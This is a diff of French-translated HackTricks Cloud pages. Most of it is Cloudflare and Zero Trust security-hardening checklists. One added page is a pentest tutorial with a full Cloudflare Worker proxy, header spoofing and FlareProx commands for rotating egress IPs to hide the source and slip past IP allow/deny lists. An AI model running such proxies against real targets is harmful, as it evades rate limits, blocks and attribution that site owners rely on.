- [ ] Dans **`Members`**, il est possible de voir tous les membres du compte et leur **rôle**. Notez que si le type de plan n'est pas Enterprise, seuls 2 rôles existent : Administrator et Super Administrator. Mais si le **plan est Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) peuvent être utilisés pour appliquer le principe du moindre privilège.
|
||||
- Par conséquent, autant que possible il est **recommandé** d'utiliser le **Enterprise plan**.
|
||||
- [ ] Dans Members, il est possible de vérifier quels **membres** ont la **2FA activée**. **Tous** les utilisateurs devraient l'avoir activée.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
|
||||
> Notez que, heureusement, le rôle **`Administrator`** n'accorde pas les permissions pour gérer les memberships (**ne peut pas escalader les privilèges ni inviter** de nouveaux membres)
|
||||
|
||||
## DDoS Investigation
|
||||
|
||||
[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,30 +1,30 @@
|
||||
# Cloudflare Domains
|
||||
# Domaines Cloudflare
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
|
||||
Dans chaque TLD configuré dans Cloudflare, il y a des **paramètres et services généraux** qui peuvent être configurés. Sur cette page, nous allons **analyser les paramètres liés à la sécurité de chaque section :**
|
||||
|
||||
<figure><img src="../../images/image (101).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Overview
|
||||
### Vue d'ensemble
|
||||
|
||||
- [ ] Get a feeling of **how much** are the services of the account **used**
|
||||
- [ ] Find also the **zone ID** and the **account ID**
|
||||
- [ ] Avoir une idée de **combien** les services du compte sont **utilisés**
|
||||
- [ ] Trouver également le **zone ID** et le **account ID**
|
||||
|
||||
### Analytics
|
||||
### Analytique
|
||||
|
||||
- [ ] In **`Security`** check if there is any **Rate limiting**
|
||||
- [ ] Dans **`Sécurité`**, vérifier s'il y a une **limitation de taux**
|
||||
|
||||
### DNS
|
||||
|
||||
- [ ] Check **interesting** (sensitive?) data in DNS **records**
|
||||
- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com)
|
||||
- [ ] Check for web pages that **aren't** **proxied**
|
||||
- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address
|
||||
- [ ] Check that **DNSSEC** is **enabled**
|
||||
- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs**
|
||||
- This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings
|
||||
- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing)
|
||||
- [ ] Vérifier les données **intéressantes** (sensibles ?) dans les **enregistrements DNS**
|
||||
- [ ] Vérifier les **sous-domaines** qui pourraient contenir des **informations sensibles** juste en se basant sur le **nom** (comme admin173865324.domin.com)
|
||||
- [ ] Vérifier les pages web qui **ne sont pas** **proxyées**
|
||||
- [ ] Vérifier les **pages web proxyées** qui peuvent être **accessées directement** par CNAME ou adresse IP
|
||||
- [ ] Vérifier que **DNSSEC** est **activé**
|
||||
- [ ] Vérifier que **CNAME Flattening** est **utilisé** dans **tous les CNAMEs**
|
||||
- Cela pourrait être utile pour **cacher les vulnérabilités de prise de contrôle de sous-domaines** et améliorer les temps de chargement
|
||||
- [ ] Vérifier que les domaines [**ne sont pas vulnérables au spoofing**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing)
|
||||
|
||||
### **Email**
|
||||
|
||||
@@ -36,91 +36,91 @@ TODO
|
||||
|
||||
### SSL/TLS
|
||||
|
||||
#### **Overview**
|
||||
#### **Vue d'ensemble**
|
||||
|
||||
- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point.
|
||||
- [ ] The **SSL/TLS Recommender** should be enabled
|
||||
- [ ] Le **chiffrement SSL/TLS** devrait être **Complet** ou **Complet (Strict)**. Tout autre enverra du **trafic en clair** à un moment donné.
|
||||
- [ ] Le **Recommander SSL/TLS** devrait être activé
|
||||
|
||||
#### Edge Certificates
|
||||
#### Certificats Edge
|
||||
|
||||
- [ ] **Always Use HTTPS** should be **enabled**
|
||||
- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled**
|
||||
- [ ] **Minimum TLS Version should be 1.2**
|
||||
- [ ] **TLS 1.3 should be enabled**
|
||||
- [ ] **Automatic HTTPS Rewrites** should be **enabled**
|
||||
- [ ] **Certificate Transparency Monitoring** should be **enabled**
|
||||
- [ ] **Always Use HTTPS** devrait être **activé**
|
||||
- [ ] **HTTP Strict Transport Security (HSTS)** devrait être **activé**
|
||||
- [ ] **La version minimale de TLS devrait être 1.2**
|
||||
- [ ] **TLS 1.3 devrait être activé**
|
||||
- [ ] **Automatic HTTPS Rewrites** devrait être **activé**
|
||||
- [ ] **Certificate Transparency Monitoring** devrait être **activé**
|
||||
|
||||
### **Security**
|
||||
### **Sécurité**
|
||||
|
||||
- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses.
|
||||
- The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used.
|
||||
- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used
|
||||
- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare
|
||||
- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections**
|
||||
- [ ] In the **`Settings`** section:
|
||||
- [ ] Check that the **`Security Level`** is **medium** or greater
|
||||
- [ ] Check that the **`Challenge Passage`** is 1 hour at max
|
||||
- [ ] Check that the **`Browser Integrity Check`** is **enabled**
|
||||
- [ ] Check that the **`Privacy Pass Support`** is **enabled**
|
||||
- [ ] Dans la section **`WAF`**, il est intéressant de vérifier que les **règles de pare-feu** et de **limitation de taux sont utilisées** pour prévenir les abus.
|
||||
- L'action **`Bypass`** désactivera les fonctionnalités de sécurité de Cloudflare pour une requête. Elle ne devrait pas être utilisée.
|
||||
- [ ] Dans la section **`Page Shield`**, il est recommandé de vérifier qu'elle est **activée** si une page est utilisée
|
||||
- [ ] Dans la section **`API Shield`**, il est recommandé de vérifier qu'elle est **activée** si une API est exposée dans Cloudflare
|
||||
- [ ] Dans la section **`DDoS`**, il est recommandé d'activer les **protections DDoS**
|
||||
- [ ] Dans la section **`Paramètres`** :
|
||||
- [ ] Vérifier que le **`Niveau de Sécurité`** est **moyen** ou supérieur
|
||||
- [ ] Vérifier que le **`Challenge Passage`** est de 1 heure au maximum
|
||||
- [ ] Vérifier que le **`Vérification de l'Intégrité du Navigateur`** est **activée**
|
||||
- [ ] Vérifier que le **`Support de Privacy Pass`** est **activé**
|
||||
|
||||
#### **CloudFlare DDoS Protection**
|
||||
#### **Protection DDoS de CloudFlare**
|
||||
|
||||
- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access.
|
||||
- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie.
|
||||
- If the attack is from a **verified bot**, at least **add a rate limit** to bots.
|
||||
- If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path.
|
||||
- You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF.
|
||||
- Check if **Managed rules** could also help to prevent vulnerability exploitations.
|
||||
- In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.**
|
||||
- In DDoS you could **override some rules to make them more restrictive**.
|
||||
- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**.
|
||||
- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled
|
||||
- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events**
|
||||
- Si possible, activez le **Mode de Lutte contre les Bots** ou le **Mode de Lutte contre les Super Bots**. Si vous protégez une API accessible de manière programmatique (depuis une page frontale JS par exemple). Vous pourriez ne pas être en mesure d'activer cela sans rompre cet accès.
|
||||
- Dans **WAF** : Vous pouvez créer des **limites de taux par chemin URL** ou pour des **bots vérifiés** (règles de limitation de taux), ou pour **bloquer l'accès** basé sur IP, Cookie, référent...). Ainsi, vous pourriez bloquer les requêtes qui ne proviennent pas d'une page web ou qui n'ont pas de cookie.
|
||||
- Si l'attaque provient d'un **bot vérifié**, au moins **ajoutez une limite de taux** aux bots.
|
||||
- Si l'attaque est dirigée vers un **chemin spécifique**, comme mécanisme de prévention, ajoutez une **limite de taux** dans ce chemin.
|
||||
- Vous pouvez également **whitelister** des adresses IP, des plages IP, des pays ou des ASN depuis les **Outils** dans WAF.
|
||||
- Vérifiez si les **règles gérées** pourraient également aider à prévenir les exploitations de vulnérabilités.
|
||||
- Dans la section **Outils**, vous pouvez **bloquer ou donner un défi à des IP spécifiques** et **agents utilisateurs.**
|
||||
- Dans DDoS, vous pourriez **remplacer certaines règles pour les rendre plus restrictives**.
|
||||
- **Paramètres** : Réglez le **Niveau de Sécurité** sur **Élevé** et sur **Sous Attaque** si vous êtes sous attaque et que la **Vérification de l'Intégrité du Navigateur est activée**.
|
||||
- Dans Domaines Cloudflare -> Analytique -> Sécurité -> Vérifiez si la **limite de taux** est activée
|
||||
- Dans Domaines Cloudflare -> Sécurité -> Événements -> Vérifiez les **Événements malveillants détectés**
|
||||
|
||||
### Access
|
||||
### Accès
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-zero-trust-network.md
|
||||
{{#endref}}
|
||||
|
||||
### Speed
|
||||
### Vitesse
|
||||
|
||||
_I couldn't find any option related to security_
|
||||
_Je n'ai pas trouvé d'option liée à la sécurité_
|
||||
|
||||
### Caching
|
||||
### Mise en cache
|
||||
|
||||
- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool**
|
||||
- [ ] Dans la section **`Configuration`**, envisagez d'activer l'**outil de scan CSAM**
|
||||
|
||||
### **Workers Routes**
|
||||
### **Routes des Workers**
|
||||
|
||||
_You should have already checked_ [_cloudflare workers_](#workers)
|
||||
_Vous devriez déjà avoir vérifié_ [_cloudflare workers_](#workers)
|
||||
|
||||
### Rules
|
||||
### Règles
|
||||
|
||||
TODO
|
||||
|
||||
### Network
|
||||
### Réseau
|
||||
|
||||
- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled**
|
||||
- [ ] **`HTTP/3 (with QUIC)`** should be **enabled**
|
||||
- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled**
|
||||
- [ ] Si **`HTTP/2`** est **activé**, **`HTTP/2 to Origin`** devrait être **activé**
|
||||
- [ ] **`HTTP/3 (avec QUIC)`** devrait être **activé**
|
||||
- [ ] Si la **vie privée** de vos **utilisateurs** est importante, assurez-vous que **`Onion Routing`** est **activé**
|
||||
|
||||
### **Traffic**
|
||||
### **Trafic**
|
||||
|
||||
TODO
|
||||
|
||||
### Custom Pages
|
||||
### Pages personnalisées
|
||||
|
||||
- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode)
|
||||
- [ ] Il est optionnel de configurer des pages personnalisées lorsqu'une erreur liée à la sécurité est déclenchée (comme un blocage, une limitation de taux ou le mode je suis sous attaque)
|
||||
|
||||
### Apps
|
||||
### Applications
|
||||
|
||||
TODO
|
||||
|
||||
### Scrape Shield
|
||||
|
||||
- [ ] Check **Email Address Obfuscation** is **enabled**
|
||||
- [ ] Check **Server-side Excludes** is **enabled**
|
||||
- [ ] Vérifiez que l'**Obfuscation des adresses email** est **activée**
|
||||
- [ ] Vérifiez que les **Exclusions côté serveur** sont **activées**
|
||||
|
||||
### **Zaraz**
|
||||
|
||||
@@ -131,6 +131,3 @@ TODO
|
||||
TODO
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,286 @@
|
||||
# Abuser Cloudflare Workers en tant que proxies pass-through (rotation d'IP, FireProx-style)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Cloudflare Workers peuvent être déployés comme des proxies HTTP transparents pass-through où l'URL cible upstream est fournie par le client. Les requêtes sortent du réseau Cloudflare, donc la cible voit les IPs de Cloudflare au lieu de celles du client. Cela reflète la technique bien connue FireProx sur AWS API Gateway, mais utilise Cloudflare Workers.
|
||||
|
||||
### Fonctionnalités clés
|
||||
- Prise en charge de toutes les méthodes HTTP (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
|
||||
- La cible peut être fournie via un paramètre de requête (?url=...), un header (X-Target-URL), ou même encodée dans le chemin (par ex. /https://target)
|
||||
- Les headers et le corps sont relayés via le proxy avec filtrage des headers hop-by-hop si nécessaire
|
||||
- Les réponses sont renvoyées en conservant le code de statut et la plupart des headers
|
||||
- Usurpation optionnelle de X-Forwarded-For (si le Worker le définit à partir d'un header contrôlé par l'utilisateur)
|
||||
- Rotation très rapide/facile en déployant plusieurs endpoints Worker et en répartissant les requêtes
|
||||
|
||||
### Comment ça marche (flux)
|
||||
1) Le client envoie une requête HTTP vers une URL Worker (`<name>.<account>.workers.dev` ou un route de domaine personnalisé).
|
||||
2) Le Worker extrait la cible soit d'un paramètre de requête (?url=...), soit du header X-Target-URL, ou d'un segment de chemin si implémenté.
|
||||
3) Le Worker transfère la méthode, les headers et le corps entrants vers l'URL upstream spécifiée (en filtrant les headers problématiques).
|
||||
4) La réponse upstream est streamée vers le client via Cloudflare ; l'origine voit les IPs de sortie de Cloudflare.
|
||||
|
||||
### Exemple d'implémentation du Worker
|
||||
- Lit l'URL cible depuis un paramètre de requête, un header ou le chemin
|
||||
- Copie un sous-ensemble sûr de headers et transmet la méthode/le corps originaux
|
||||
- Définit optionnellement X-Forwarded-For en utilisant un header contrôlé par l'utilisateur (X-My-X-Forwarded-For) ou une IP aléatoire
|
||||
- Ajoute un CORS permissif et gère les preflight
|
||||
|
||||
<details>
|
||||
<summary>Exemple de Worker (JavaScript) pour le proxy pass-through</summary>
|
||||
```javascript
|
||||
/**
|
||||
* Minimal Worker pass-through proxy
|
||||
* - Target URL from ?url=, X-Target-URL, or /https://...
|
||||
* - Proxies method/headers/body to upstream; relays response
|
||||
*/
|
||||
addEventListener('fetch', event => {
|
||||
event.respondWith(handleRequest(event.request))
|
||||
})
|
||||
|
||||
async function handleRequest(request) {
|
||||
try {
|
||||
const url = new URL(request.url)
|
||||
const targetUrl = getTargetUrl(url, request.headers)
|
||||
|
||||
if (!targetUrl) {
|
||||
return errorJSON('No target URL specified', 400, {
|
||||
usage: {
|
||||
query_param: '?url=https://example.com',
|
||||
header: 'X-Target-URL: https://example.com',
|
||||
path: '/https://example.com'
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
let target
|
||||
try { target = new URL(targetUrl) } catch (e) {
|
||||
return errorJSON('Invalid target URL', 400, { provided: targetUrl })
|
||||
}
|
||||
|
||||
// Forward original query params except control ones
|
||||
const passthru = new URLSearchParams()
|
||||
for (const [k, v] of url.searchParams) {
|
||||
if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v)
|
||||
}
|
||||
if (passthru.toString()) target.search = passthru.toString()
|
||||
|
||||
// Build proxied request
|
||||
const proxyReq = buildProxyRequest(request, target)
|
||||
const upstream = await fetch(proxyReq)
|
||||
|
||||
return buildProxyResponse(upstream, request.method)
|
||||
} catch (error) {
|
||||
return errorJSON('Proxy request failed', 500, {
|
||||
message: error.message,
|
||||
timestamp: new Date().toISOString()
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
function getTargetUrl(url, headers) {
|
||||
let t = url.searchParams.get('url') || headers.get('X-Target-URL')
|
||||
if (!t && url.pathname !== '/') {
|
||||
const p = url.pathname.slice(1)
|
||||
if (p.startsWith('http')) t = p
|
||||
}
|
||||
return t
|
||||
}
|
||||
|
||||
function buildProxyRequest(request, target) {
|
||||
const h = new Headers()
|
||||
const allow = [
|
||||
'accept','accept-language','accept-encoding','authorization',
|
||||
'cache-control','content-type','origin','referer','user-agent'
|
||||
]
|
||||
for (const [k, v] of request.headers) {
|
||||
if (allow.includes(k.toLowerCase())) h.set(k, v)
|
||||
}
|
||||
h.set('Host', target.hostname)
|
||||
|
||||
// Optional: spoof X-Forwarded-For if provided
|
||||
const spoof = request.headers.get('X-My-X-Forwarded-For')
|
||||
h.set('X-Forwarded-For', spoof || randomIP())
|
||||
|
||||
return new Request(target.toString(), {
|
||||
method: request.method,
|
||||
headers: h,
|
||||
body: ['GET','HEAD'].includes(request.method) ? null : request.body
|
||||
})
|
||||
}
|
||||
|
||||
function buildProxyResponse(resp, method) {
|
||||
const h = new Headers()
|
||||
for (const [k, v] of resp.headers) {
|
||||
if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) {
|
||||
h.set(k, v)
|
||||
}
|
||||
}
|
||||
// Permissive CORS for tooling convenience
|
||||
h.set('Access-Control-Allow-Origin', '*')
|
||||
h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD')
|
||||
h.set('Access-Control-Allow-Headers', '*')
|
||||
|
||||
if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h })
|
||||
return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h })
|
||||
}
|
||||
|
||||
function errorJSON(msg, status=400, extra={}) {
|
||||
return new Response(JSON.stringify({ error: msg, ...extra }), {
|
||||
status, headers: { 'Content-Type': 'application/json' }
|
||||
})
|
||||
}
|
||||
|
||||
function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') }
|
||||
```
|
||||
</details>
|
||||
|
||||
### Automatisation du déploiement et de la rotation avec FlareProx
|
||||
|
||||
FlareProx est un outil Python qui utilise l'API Cloudflare pour déployer plusieurs endpoints Worker et effectuer la rotation entre eux. Cela fournit une rotation d'IP de type FireProx depuis le réseau de Cloudflare.
|
||||
|
||||
Setup
|
||||
1) Créez un Cloudflare API Token en utilisant le template “Edit Cloudflare Workers” et récupérez votre Account ID depuis le tableau de bord.
|
||||
2) Configurez FlareProx:
|
||||
```bash
|
||||
git clone https://github.com/MrTurvey/flareprox
|
||||
cd flareprox
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
**Créer le fichier de configuration flareprox.json :**
|
||||
```json
|
||||
{
|
||||
"cloudflare": {
|
||||
"api_token": "your_cloudflare_api_token",
|
||||
"account_id": "your_cloudflare_account_id"
|
||||
}
|
||||
}
|
||||
```
|
||||
**Utilisation de la CLI**
|
||||
|
||||
- Créer N proxies Worker :
|
||||
```bash
|
||||
python3 flareprox.py create --count 2
|
||||
```
|
||||
- Lister les endpoints :
|
||||
```bash
|
||||
python3 flareprox.py list
|
||||
```
|
||||
- Points de terminaison de vérification de santé :
|
||||
```bash
|
||||
python3 flareprox.py test
|
||||
```
|
||||
- Supprimer tous les endpoints:
|
||||
```bash
|
||||
python3 flareprox.py cleanup
|
||||
```
|
||||
**Acheminer le trafic via un Worker**
|
||||
- Forme de paramètre de requête :
|
||||
```bash
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
|
||||
```
|
||||
- Formulaire d'en-tête:
|
||||
```bash
|
||||
curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
|
||||
```
|
||||
- Format de chemin (si implémenté):
|
||||
```bash
|
||||
curl https://your-worker.account.workers.dev/https://httpbin.org/ip
|
||||
```
|
||||
- Exemples de méthodes:
|
||||
```bash
|
||||
# GET
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get"
|
||||
|
||||
# POST (form)
|
||||
curl -X POST -d "username=admin" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/post"
|
||||
|
||||
# PUT (JSON)
|
||||
curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/put"
|
||||
|
||||
# DELETE
|
||||
curl -X DELETE \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
|
||||
```
|
||||
**contrôle de `X-Forwarded-For`**
|
||||
|
||||
Si le Worker honore `X-My-X-Forwarded-For`, vous pouvez influencer la valeur en amont de `X-Forwarded-For` :
|
||||
```bash
|
||||
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
|
||||
```
|
||||
**Utilisation programmatique**
|
||||
|
||||
Utilisez la bibliothèque FlareProx pour créer/lister/tester des endpoints et acheminer des requêtes depuis Python.
|
||||
|
||||
<details>
|
||||
<summary>Exemple Python : Envoyer un POST via un endpoint Worker aléatoire</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from flareprox import FlareProx, FlareProxError
|
||||
import json
|
||||
|
||||
# Initialize
|
||||
flareprox = FlareProx(config_file="flareprox.json")
|
||||
if not flareprox.is_configured:
|
||||
print("FlareProx not configured. Run: python3 flareprox.py config")
|
||||
exit(1)
|
||||
|
||||
# Ensure endpoints exist
|
||||
endpoints = flareprox.sync_endpoints()
|
||||
if not endpoints:
|
||||
print("Creating proxy endpoints...")
|
||||
flareprox.create_proxies(count=2)
|
||||
|
||||
# Make a POST request through a random endpoint
|
||||
try:
|
||||
post_data = json.dumps({
|
||||
"username": "testuser",
|
||||
"message": "Hello from FlareProx!",
|
||||
"timestamp": "2025-01-01T12:00:00Z"
|
||||
})
|
||||
|
||||
headers = {
|
||||
"Content-Type": "application/json",
|
||||
"User-Agent": "FlareProx-Client/1.0"
|
||||
}
|
||||
|
||||
response = flareprox.redirect_request(
|
||||
target_url="https://httpbin.org/post",
|
||||
method="POST",
|
||||
headers=headers,
|
||||
data=post_data
|
||||
)
|
||||
|
||||
if response.status_code == 200:
|
||||
result = response.json()
|
||||
print("✓ POST successful via FlareProx")
|
||||
print(f"Origin IP: {result.get('origin', 'unknown')}")
|
||||
print(f"Posted data: {result.get('json', {})}")
|
||||
else:
|
||||
print(f"Request failed with status: {response.status_code}")
|
||||
|
||||
except FlareProxError as e:
|
||||
print(f"FlareProx error: {e}")
|
||||
except Exception as e:
|
||||
print(f"Request error: {e}")
|
||||
```
|
||||
</details>
|
||||
|
||||
**Intégration Burp/Scanner**
|
||||
- Redirigez vos outils (par exemple, Burp Suite) vers l'URL du Worker.
|
||||
- Fournissez l'upstream réel en utilisant ?url= ou X-Target-URL.
|
||||
- La sémantique HTTP (methods/headers/body) est préservée tout en masquant votre IP source derrière Cloudflare.
|
||||
|
||||
**Notes opérationnelles et limites**
|
||||
- Le plan Free de Cloudflare Workers permet environ 100 000 requêtes/jour par compte ; utilisez plusieurs endpoints pour répartir le trafic si nécessaire.
|
||||
- Les Workers s'exécutent sur le réseau Cloudflare ; de nombreuses cibles ne verront que les IPs/ASN de Cloudflare, ce qui peut contourner des listes d'autorisation/refus IP naïves ou des heuristiques géographiques.
|
||||
- Utilisez de manière responsable et seulement avec autorisation. Respectez les ToS et robots.txt.
|
||||
|
||||
## Références
|
||||
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
|
||||
- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
|
||||
- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
|
||||
- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -2,43 +2,43 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
|
||||
Dans un compte **Cloudflare Zero Trust Network**, il y a certains **paramètres et services** qui peuvent être configurés. Sur cette page, nous allons **analyser les paramètres liés à la sécurité de chaque section :**
|
||||
|
||||
<figure><img src="../../images/image (206).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Analytics
|
||||
|
||||
- [ ] Useful to **get to know the environment**
|
||||
- [ ] Utile pour **connaître l'environnement**
|
||||
|
||||
### **Gateway**
|
||||
|
||||
- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications.
|
||||
- If used, **policies** could be created to **restrict** the access to malicious sites.
|
||||
- This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies.
|
||||
- [ ] Dans **`Policies`**, il est possible de générer des politiques pour **restreindre** par **DNS**, **réseau** ou **requête HTTP** qui peut accéder aux applications.
|
||||
- Si utilisé, des **politiques** pourraient être créées pour **restreindre** l'accès aux sites malveillants.
|
||||
- Ceci est **uniquement pertinent si une passerelle est utilisée**, sinon, il n'y a aucune raison de créer des politiques défensives.
|
||||
|
||||
### Access
|
||||
|
||||
#### Applications
|
||||
|
||||
On each application:
|
||||
Sur chaque application :
|
||||
|
||||
- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access.
|
||||
- To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also)
|
||||
- [ ] Check the **available identity providers** and make sure they **aren't too open**
|
||||
- [ ] In **`Settings`**:
|
||||
- [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything)
|
||||
- [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP.
|
||||
- [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
|
||||
- [ ] Vérifiez **qui** peut accéder à l'application dans les **Policies** et assurez-vous que **seuls** les **utilisateurs** qui **ont besoin d'accès** à l'application peuvent y accéder.
|
||||
- Pour permettre l'accès, des **`Access Groups`** vont être utilisés (et des **règles supplémentaires** peuvent également être définies)
|
||||
- [ ] Vérifiez les **fournisseurs d'identité disponibles** et assurez-vous qu'ils **ne sont pas trop ouverts**
|
||||
- [ ] Dans **`Settings`** :
|
||||
- [ ] Vérifiez que **CORS n'est pas activé** (s'il est activé, vérifiez qu'il est **sécurisé** et qu'il ne permet pas tout)
|
||||
- [ ] Les cookies doivent avoir l'attribut **Strict Same-Site**, **HTTP Only** et le **binding cookie** doit être **activé** si l'application est HTTP.
|
||||
- [ ] Envisagez également d'activer le **rendu du navigateur** pour une meilleure **protection. Plus d'infos sur** [**l'isolement du navigateur distant ici**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
|
||||
|
||||
#### **Access Groups**
|
||||
|
||||
- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow.
|
||||
- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**.
|
||||
- Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary.
|
||||
- [ ] Vérifiez que les groupes d'accès générés sont **correctement restreints** aux utilisateurs qu'ils doivent autoriser.
|
||||
- [ ] Il est particulièrement important de vérifier que le **groupe d'accès par défaut n'est pas très ouvert** (il **ne permet pas trop de personnes**) car par **défaut**, quiconque dans ce **groupe** pourra **accéder aux applications**.
|
||||
- Notez qu'il est possible de donner **accès** à **TOUS** et d'autres **politiques très ouvertes** qui ne sont pas recommandées sauf si 100 % nécessaire.
|
||||
|
||||
#### Service Auth
|
||||
|
||||
- [ ] Check that all service tokens **expires in 1 year or less**
|
||||
- [ ] Vérifiez que tous les jetons de service **expirent dans 1 an ou moins**
|
||||
|
||||
#### Tunnels
|
||||
|
||||
@@ -50,15 +50,12 @@ TODO
|
||||
|
||||
### Logs
|
||||
|
||||
- [ ] You could search for **unexpected actions** from users
|
||||
- [ ] Vous pourriez rechercher des **actions inattendues** de la part des utilisateurs
|
||||
|
||||
### Settings
|
||||
|
||||
- [ ] Check the **plan type**
|
||||
- [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address**
|
||||
- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service
|
||||
- [ ] Vérifiez le **type de plan**
|
||||
- [ ] Il est possible de voir le **nom du propriétaire de la carte de crédit**, **derniers 4 chiffres**, **date d'expiration** et **adresse**
|
||||
- [ ] Il est recommandé d'**ajouter une expiration de siège utilisateur** pour supprimer les utilisateurs qui n'utilisent pas vraiment ce service
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,36 +1,33 @@
|
||||
# Concourse Security
|
||||
# Sécurité de Concourse
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Informations de base
|
||||
|
||||
Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...)
|
||||
Concourse vous permet de **construire des pipelines** pour exécuter automatiquement des tests, des actions et créer des images chaque fois que vous en avez besoin (basé sur le temps, lorsque quelque chose se produit...)
|
||||
|
||||
## Concourse Architecture
|
||||
## Architecture de Concourse
|
||||
|
||||
Learn how the concourse environment is structured in:
|
||||
Découvrez comment l'environnement de concourse est structuré dans :
|
||||
|
||||
{{#ref}}
|
||||
concourse-architecture.md
|
||||
{{#endref}}
|
||||
|
||||
## Concourse Lab
|
||||
## Laboratoire Concourse
|
||||
|
||||
Learn how you can run a concourse environment locally to do your own tests in:
|
||||
